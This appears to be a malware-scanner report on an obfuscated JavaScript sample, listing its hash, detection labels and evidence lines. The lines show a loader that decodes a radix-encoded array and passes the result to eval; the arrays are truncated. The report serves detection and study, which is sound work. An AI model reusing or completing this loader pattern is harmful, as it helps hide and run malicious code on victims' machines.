Suspicious ^80% javascript-malware-collection Download

20151211_a8fc26686136be052ae73fba83838ce9.js

Obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-25673680f97c14c81cacef2a041ba5fa812222caf2b38cfc7bdd3b5fff943d7a57b

Evidence

parseInt toString radix remap lines 1–6

1:460… ','w','x','y','z','{','|','}','~','']
2function nujeo(UutQiOKcQPe,LJNjBuFVaAXAB,AdnqjbKt){yEQV=parseInt(UutQiOKcQPe,LJNjBuFVaAXAB);grOyz=yEQV.toString(AdnqjbKt);return grOyz;}function QduJfPawWkQneVt(kRnvQCufWZcRAbSuH){eval(kRnvQCufWZcRAbSuH)}
3function TbzjIJgoPaWSEoKiTDNFmeuohdOEYBXkeGwgHaDVItyhvUQTPDNBQD(EEfQuSRGylQeD,TBshIJzcHqkxUe){ return wVQvT[nujeo(EEfQuSRGylQeD[TBshIJzcHqkxUe],(18217+221)/878,(3276+164)/344)];}
4function chWZQzR(mKWwkxzKzNEXapOIZalekqPHrZEUbQEwkVqu) {return !isNaN(parseFloat(mKWwkxzKzNEXapOIZalekqPHrZEUbQEwkVqu)) && isFinite(mKWwkxzKzNEXapOIZalekqPHrZEUbQEwkVqu);}
5function XUdwYEcIndr(BGoghiaz,MDdpmn){return BGoghiaz.split(MDdpmn)}
6var N=new Array("d","a","d","a","5d","4d","59","1b","4g","1b","2j","1b","1d","5a","56","4i","5b","28","5e","4h","4e", …

Obfuscated increment/decrement via arithmetic lines 8–11

8:4…  cyPCd=[N,G];
9var rnaAiNnbt=[];
10function KfRmlswlfBZhonzap(cyPCd){kENJqUjRKXj= '';yIUOSXYBzVX=(-263+263)/592; while(true){if(yIUOSXYBzVX >= (695+549)/622)break;rnaAiNnbt[yIUOSXYBzVX]=(-207+207)/463; while(true) { if(rnaAiNnbt[yIUOSXYBzVX] > cyPCd[yIUOSXYBzVX].length-(111+489)/600) { break; } if (chWZQzR(nujeo(cyPCd[yIUOSXYBzVX][rnaAiNnbt[yIUOSXYBzVX]],(10038+525)/503,(517+223)/74))) {kENJqUjRKXj += TbzjIJgoPaWSEoKiTDNFmeuohdOEYBXkeGwgHaDVItyhvUQTPDNBQD([cyPCd[yIUOSXYBzVX][rnaAiNnbt[yIUOSXYBzVX]]], (-525+525)/189);} rnaAiNnbt[yIUOSXYBzVX]++;}yIUOSXYBzVX++;} return kENJqUjRKXj}
11QduJfPawWkQneVt(KfRmlswlfBZhonzap(cyPCd));